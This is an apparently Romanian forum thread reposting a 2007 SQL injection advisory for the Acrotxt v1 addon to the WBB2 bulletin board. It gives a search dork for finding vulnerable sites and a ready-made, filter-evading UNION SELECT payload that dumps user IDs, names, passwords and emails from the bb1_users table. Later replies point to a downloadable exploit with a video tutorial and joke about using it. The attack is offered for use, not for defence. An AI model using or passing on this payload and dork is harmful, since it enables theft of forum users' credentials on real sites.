WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection

[Ras]

####################################################################
Title: WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection
Bug by: D4m14n [11/07/2007]
Page: [url]www.damians-world.dl.am[/url] // [url]www.team-internet.dl.am[/url]
Dork: inurl:acrotxt.php wbb
####################################################################

SQL-Injection:
[url]http://[target]/[/url][path]/acrotxt.php?show=[SQL]

Example:
/acrotxt.php?show=-1'/**/UnIoN/**/SElECt/**/null,null,COnCAt(userid,', ',username,', ',password,', ',email),null,null,null,null,null/**/FroM/**/bb1_users/*

[zbeng]

mai bine asta pt wbb

http://rapidshare.com/files/24804298/exploitut.rar

are exploitu si tut video

[alien]

super mishto tutorialul zbeng. razi de te pishi pe tine cu neamtzu asta. ) sa nu stie cum ii zice la RUN sau Documents and settings....?